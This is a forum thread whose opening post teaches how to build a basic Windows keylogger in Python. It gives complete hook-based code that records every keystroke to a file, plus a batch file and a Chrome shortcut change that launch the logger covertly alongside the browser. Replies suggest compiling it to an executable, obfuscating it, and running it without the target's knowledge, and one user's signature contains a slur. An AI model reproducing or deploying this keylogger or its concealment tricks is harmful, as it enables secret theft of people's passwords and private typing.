chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


Basic Keylogger filter_list
Author
Message
Basic Keylogger #1
It's been a while since I did a Python tutorial. Or a tutorial at that.

This is a very basic keylogger that we can create using Python for Windows.

WARNING
I am not responsible for any hacking incidents found using this logger. I do this to teach, not to encourage hacking. If you abuse it, you are at your own user discretion.


Now then, we begin.

Requirements
You must have PyHook and PyWin for this to work. You also need to have Notepad++ or at the very least, notepad. And of course Python.

Download Links
Click on the link that corresponds to your python version.
http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32 PyWin
http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook PyHook
http://notepad-plus-plus.org/download/v6.5.3.html Notepad++

Beef
Now that we've downloaded our stuff, it's time to do this thing.

You're going to write out your imports.

You need pyHook, pythoncom, sys, and logging

Code:
import pyHook, pythoncom, sys, logging

Now that you have your imports, go ahead and tell the keylogger where to save stuff.

Code:
file_log = 'c:\\Location\\log.txt'

Now in the Python language, for it to understand the location, put two backslashes, not one.

You'll need to define an event, the "OnKeyboardEvent".
Code:
def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))

Now outside of the event we will do a few more things...

Code:
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

All of this creates the logger and that alone.

YOU NEED TO SAVE THIS AS A .PYW FILE. NOT .PY.
Make sure you know the location where you saved this for later too.

Why do we need Notepad++? To put it simply, creating a batch file. You could however use Notepad++ creating this logger too, but since I'm a noob I prefer IDLE.

We will write this out to execute the logger AND whatever the program they are using.

For example, let's use Google Chrome.

Code:
@echo off
start "" "C:\Location\Log.pyw"
start "" "C:\Users\username\AppData\Local\Google\Chrome\Application\chrome.exe"

Save that as a .bat file somewhere in the computer. Go to the Google Chrome shortcut, and change the properties to open "C:\Location\log.bat".
Apply and close the properties.

Now whenever something is typed in Google Chrome, the logger will write it in the file "log.txt".

That's all for now.
More tutorials later. Once more I am not responsible for your uses of the logger.

GG NO RE.

Reply

RE: Basic Keylogger #2
Very basic indeed, but a good first-time guide.
[Image: R5aCcWV.png]

Reply

RE: Basic Keylogger #3
Nice tutorial. I'm looking for one that'd email me somehow. Idrk. But this is a nice tut anyway.

Ps. You love beef don't you?

Reply

RE: Basic Keylogger #4
(01-17-2014, 11:49 PM)Sparks Wrote: Ps. You love beef don't you?

Very much.

Reply

RE: Basic Keylogger #5
Why not use Python for a keylogger?
Granted, you'd need to use different modules for different OSes, but there's no real reason why you shouldn't, it's not like it's a CPU intensive task.

It may not be the best language for the task at hand, but that doesn't mean much if it's the language you know/prefer.
[Image: tumblr_m73y8go3jd1rb7u8co1_500.gif]
Avatars are for faggots.

Reply

RE: Basic Keylogger #6
Because, by definition, using Python for a keylogger requires python. And, since it's an IL, the source code is easily checked for bad things going on, and the calls are easily hooked and avoided.
micrictor@creep.im

Reply

RE: Basic Keylogger #7
Python is pre-loaded on all OSes, save any Windows, and you can effortlessly deal with that by compiling to an executable, a portion on which would greatly benefit this tutorial.
So it's not like it has to be installed separately in any case.

And you'd be masking the keylogger somehow anyway, wouldn't you? Either that, or you're otherwise activating it without the targets knowledge, as if you had physical access to the system.

So it doesn't matter that it's an IL, just obfuscate the malicious portion, or embed it in something.
Or just do what the tutorial says. You overestimate the average mark, friend.
[Image: tumblr_m73y8go3jd1rb7u8co1_500.gif]
Avatars are for faggots.

Reply






Users browsing this thread: 1 Guest(s)